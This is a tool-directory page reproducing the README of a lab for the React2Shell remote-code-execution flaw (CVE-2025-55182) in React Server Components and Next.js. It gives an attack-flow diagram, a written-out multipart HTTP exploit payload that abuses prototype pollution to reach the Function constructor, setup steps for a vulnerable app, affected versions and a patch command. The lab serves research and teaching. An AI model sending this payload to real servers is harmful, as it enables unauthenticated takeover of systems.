Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
react-rce — CVE-2025-55182 취약점에 대한 샘플을 AI와 함께 작성 및 테스트 했습니다. | Kitploit
Tools/GitHubGitHub/randarts/react-rce
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubrandarts/react-rce

react-rce

CVE-2025-55182 취약점에 대한 샘플을 AI와 함께 작성 및 테스트 했습니다.

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 React2Shell Vulnerability Lab

AI Used: Claude Opus 4.5 ⚠️ Warning: This environment is for educational and research purposes only.

Vulnerability Overview

ItemDescription
CVECVE-2025-55182 (React) / CVE-2025-66478 (Next.js)
NameReact2Shell
CVSS10.0 (Critical)
TypePre-Auth Remote Code Execution
CausePrototype pollution during Flight protocol deserialization

Attack Principle

root@kitploit:~
                    ┌─────────────────────────┐
                    │     Attacker            │
                    └───────────┬─────────────┘
                                │
                    POST Request + Next-Action Header
                    multipart/form-data payload
                                │
                                ▼
┌───────────────────────────────────────────────────────────┐
│                     Next.js Server                        │
├───────────────────────────────────────────────────────────┤
│  1. Next-Action Header → Triggers Server Action           │
│  2. multipart payload → Flight protocol deserialization   │
│  3. Fake Chunk then() method invoked                      │
│  4. __proto__ reference → Prototype pollution             │
│  5. Function constructor injection → RCE                  │
└───────────────────────────────────────────────────────────┘

Exploit Payload Structure

root@kitploit:~
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="0"

{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"

$@0
------Boundary--

Key Elements:

  • Next-Action header triggers Server Action
  • Field 0: Fake Chunk with then method for promise-like behavior
  • Field 1: $@0 reference traverses prototype chain
  • Access Function constructor via __proto__:then

Quick Start

root@kitploit:~
cd vulnerable-app

# Install dependencies
npm install

# Start development server
npm run dev

Access at http://localhost:3000


Directory Structure

root@kitploit:~
react-rce/
├── README.md
├── vulnerable-app/          # Vulnerable Next.js app
│   ├── package.json         # Next.js 15.0.3 (vulnerable version)
│   └── app/
│       ├── page.js          # UI (CVE info + RCE demo)
│       ├── actions.js       # Server Actions
│       └── globals.css
└── exploit/                 # Exploit tools (optional)
    └── exploit.py           # CVE-2025-55182 PoC

Affected Versions

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: 15.x, 16.x (when using App Router)
  • Packages: react-server-dom-webpack, react-server-dom-turbopack

Mitigation

root@kitploit:~
# Upgrade to patched version
npm install [email protected] [email protected] [email protected]

References

  • Next.js Security Advisory
  • GitHub: assetnote/react2shell-scanner
  • GitHub: freeqaz/react2shell
Download Tool